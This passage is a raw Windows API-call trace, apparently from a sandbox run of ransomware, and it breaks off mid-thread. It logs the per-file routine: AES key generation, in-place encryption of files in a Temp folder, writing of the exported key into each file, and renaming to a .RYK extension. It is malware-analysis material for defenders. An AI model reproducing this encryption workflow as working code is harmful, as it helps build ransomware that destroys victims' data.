	[0212.401] SetFilePointerEx (in: hFile=0x65c, liDistanceToMove=0x14f7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.401] ReadFile (in: hFile=0x65c, lpBuffer=0x8f8fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f8fc60, lpOverlapped=0x0 | out: lpBuffer=0x8f8fcf0*, lpNumberOfBytesRead=0x8f8fc60*=0x19, lpOverlapped=0x0) returned 1
	[0212.404] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.404] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f8fc78 | out: phKey=0x8f8fc78*=0x2b8dc0) returned 1
	[0212.404] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.404] ReadFile (in: hFile=0x65c, lpBuffer=0x3190000, nNumberOfBytesToRead=0x150a1, lpNumberOfBytesRead=0x8f8fc84, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x8f8fc84*=0x150a1, lpOverlapped=0x0) returned 1
	[0212.406] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f8fc80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f8fc80*=0xf4250) returned 1
	[0212.406] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x8f8fc88*=0x150a1, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x8f8fc88*=0x150b0) returned 1
	[0212.407] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.407] WriteFile (in: hFile=0x65c, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x150b0, lpNumberOfBytesWritten=0x8f8fc84, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x8f8fc84*=0x150b0, lpOverlapped=0x0) returned 1
	[0212.408] WriteFile (in: hFile=0x65c, lpBuffer=0x8f8fcb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f8fc90, lpOverlapped=0x0 | out: lpBuffer=0x8f8fcb0*, lpNumberOfBytesWritten=0x8f8fc90*=0x6, lpOverlapped=0x0) returned 1
	[0212.408] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f8fca0 | out: pbData=0x0*, pdwDataLen=0x8f8fca0*=0x10c) returned 1
	[0212.408] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f8fd10, pdwDataLen=0x8f8fca0 | out: pbData=0x8f8fd10*, pdwDataLen=0x8f8fca0*=0x10c) returned 1
	[0212.408] WriteFile (in: hFile=0x65c, lpBuffer=0x8f8fd10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f8fc90, lpOverlapped=0x0 | out: lpBuffer=0x8f8fd10*, lpNumberOfBytesWritten=0x8f8fc90*=0x10c, lpOverlapped=0x0) returned 1
	[0212.408] CloseHandle (hObject=0x65c) returned 1
	[0212.412] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0212.412] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2096
	os_tid = 0x2698

	[0212.421] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3", dwFileAttributes=0x80) returned 1
	[0212.422] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c
	[0212.422] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x91cfbd8 | out: lpFileSize=0x91cfbd8*=28973) returned 1
	[0212.422] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x91cfbe8 | out: lpFileSize=0x91cfbe8*=28973) returned 1
	[0212.423] SetFilePointerEx (in: hFile=0x65c, liDistanceToMove=0x700b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.423] ReadFile (in: hFile=0x65c, lpBuffer=0x91cfc30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91cfba0, lpOverlapped=0x0 | out: lpBuffer=0x91cfc30*, lpNumberOfBytesRead=0x91cfba0*=0x19, lpOverlapped=0x0) returned 1
	[0212.426] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.426] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x91cfbb8 | out: phKey=0x91cfbb8*=0x2b8dc0) returned 1
	[0212.426] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.426] ReadFile (in: hFile=0x65c, lpBuffer=0x3290000, nNumberOfBytesToRead=0x712d, lpNumberOfBytesRead=0x91cfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x91cfbc4*=0x712d, lpOverlapped=0x0) returned 1
	[0212.427] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x91cfbc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x91cfbc0*=0xf4250) returned 1
	[0212.427] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x91cfbc8*=0x712d, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x91cfbc8*=0x7130) returned 1
	[0212.427] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.427] WriteFile (in: hFile=0x65c, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x91cfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x91cfbc4*=0x7130, lpOverlapped=0x0) returned 1
	[0212.428] WriteFile (in: hFile=0x65c, lpBuffer=0x91cfbf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x91cfbd0, lpOverlapped=0x0 | out: lpBuffer=0x91cfbf0*, lpNumberOfBytesWritten=0x91cfbd0*=0x6, lpOverlapped=0x0) returned 1
	[0212.428] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x91cfbe0 | out: pbData=0x0*, pdwDataLen=0x91cfbe0*=0x10c) returned 1
	[0212.428] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x91cfc50, pdwDataLen=0x91cfbe0 | out: pbData=0x91cfc50*, pdwDataLen=0x91cfbe0*=0x10c) returned 1
	[0212.429] WriteFile (in: hFile=0x65c, lpBuffer=0x91cfc50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x91cfbd0, lpOverlapped=0x0 | out: lpBuffer=0x91cfc50*, lpNumberOfBytesWritten=0x91cfbd0*=0x10c, lpOverlapped=0x0) returned 1
	[0212.429] CloseHandle (hObject=0x65c) returned 1
	[0212.430] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0212.430] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2127
	os_tid = 0x269c

	[0212.785] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf", dwFileAttributes=0x80) returned 1
	[0212.786] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0212.786] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x932f978 | out: lpFileSize=0x932f978*=89860) returned 1
	[0212.786] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x932f988 | out: lpFileSize=0x932f988*=89860) returned 1
	[0212.786] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x15de2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.786] ReadFile (in: hFile=0x680, lpBuffer=0x932f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x932f940, lpOverlapped=0x0 | out: lpBuffer=0x932f9d0*, lpNumberOfBytesRead=0x932f940*=0x19, lpOverlapped=0x0) returned 1
	[0212.789] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.789] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x932f958 | out: phKey=0x932f958*=0x2b8e30) returned 1
	[0212.789] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.789] ReadFile (in: hFile=0x680, lpBuffer=0x3390000, nNumberOfBytesToRead=0x15f04, lpNumberOfBytesRead=0x932f964, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x932f964*=0x15f04, lpOverlapped=0x0) returned 1
	[0212.791] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x932f960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x932f960*=0xf4250) returned 1
	[0212.791] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x932f968*=0x15f04, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x932f968*=0x15f10) returned 1
	[0212.792] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.792] WriteFile (in: hFile=0x680, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x15f10, lpNumberOfBytesWritten=0x932f964, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x932f964*=0x15f10, lpOverlapped=0x0) returned 1
	[0212.793] WriteFile (in: hFile=0x680, lpBuffer=0x932f990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x932f970, lpOverlapped=0x0 | out: lpBuffer=0x932f990*, lpNumberOfBytesWritten=0x932f970*=0x6, lpOverlapped=0x0) returned 1
	[0212.793] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x932f980 | out: pbData=0x0*, pdwDataLen=0x932f980*=0x10c) returned 1
	[0212.793] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x932f9f0, pdwDataLen=0x932f980 | out: pbData=0x932f9f0*, pdwDataLen=0x932f980*=0x10c) returned 1
	[0212.793] WriteFile (in: hFile=0x680, lpBuffer=0x932f9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x932f970, lpOverlapped=0x0 | out: lpBuffer=0x932f9f0*, lpNumberOfBytesWritten=0x932f970*=0x10c, lpOverlapped=0x0) returned 1
	[0212.794] CloseHandle (hObject=0x680) returned 1
	[0212.797] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.797] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2128
	os_tid = 0x2718

	[0212.818] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf", dwFileAttributes=0x80) returned 1
	[0212.819] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0212.820] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x8c2fc58 | out: lpFileSize=0x8c2fc58*=64036) returned 1
	[0212.820] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x8c2fc68 | out: lpFileSize=0x8c2fc68*=64036) returned 1
	[0212.820] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0xf902, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.820] ReadFile (in: hFile=0x680, lpBuffer=0x8c2fcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x8c2fcb0*, lpNumberOfBytesRead=0x8c2fc20*=0x19, lpOverlapped=0x0) returned 1
	[0212.823] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.823] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c2fc38 | out: phKey=0x8c2fc38*=0x2b8e30) returned 1
	[0212.823] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.823] ReadFile (in: hFile=0x680, lpBuffer=0x2690000, nNumberOfBytesToRead=0xfa24, lpNumberOfBytesRead=0x8c2fc44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c2fc44*=0xfa24, lpOverlapped=0x0) returned 1
	[0212.824] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2fc40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2fc40*=0xf4250) returned 1
	[0212.824] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c2fc48*=0xfa24, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c2fc48*=0xfa30) returned 1
	[0212.825] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.825] WriteFile (in: hFile=0x680, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0xfa30, lpNumberOfBytesWritten=0x8c2fc44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c2fc44*=0xfa30, lpOverlapped=0x0) returned 1
	[0212.826] WriteFile (in: hFile=0x680, lpBuffer=0x8c2fc70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2fc50, lpOverlapped=0x0 | out: lpBuffer=0x8c2fc70*, lpNumberOfBytesWritten=0x8c2fc50*=0x6, lpOverlapped=0x0) returned 1
	[0212.826] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2fc60 | out: pbData=0x0*, pdwDataLen=0x8c2fc60*=0x10c) returned 1
	[0212.826] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2fcd0, pdwDataLen=0x8c2fc60 | out: pbData=0x8c2fcd0*, pdwDataLen=0x8c2fc60*=0x10c) returned 1
	[0212.827] WriteFile (in: hFile=0x680, lpBuffer=0x8c2fcd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2fc50, lpOverlapped=0x0 | out: lpBuffer=0x8c2fcd0*, lpNumberOfBytesWritten=0x8c2fc50*=0x10c, lpOverlapped=0x0) returned 1
	[0212.827] CloseHandle (hObject=0x680) returned 1
	[0212.829] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.829] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2129
	os_tid = 0x271c

	[0212.832] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 1
	[0212.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.833] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2130
	os_tid = 0x2720

	[0212.834] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0212.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.835] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2131
	os_tid = 0x2724

	[0212.836] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png", dwFileAttributes=0x80) returned 1
	[0212.836] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0212.837] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x942f938 | out: lpFileSize=0x942f938*=42804) returned 1
	[0212.837] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x942f948 | out: lpFileSize=0x942f948*=42804) returned 1
	[0212.837] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0xa612, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.837] ReadFile (in: hFile=0x680, lpBuffer=0x942f990, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x942f900, lpOverlapped=0x0 | out: lpBuffer=0x942f990*, lpNumberOfBytesRead=0x942f900*=0x19, lpOverlapped=0x0) returned 1
	[0212.840] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.840] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x942f918 | out: phKey=0x942f918*=0x2b8e30) returned 1
	[0212.840] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.840] ReadFile (in: hFile=0x680, lpBuffer=0x3090000, nNumberOfBytesToRead=0xa734, lpNumberOfBytesRead=0x942f924, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x942f924*=0xa734, lpOverlapped=0x0) returned 1
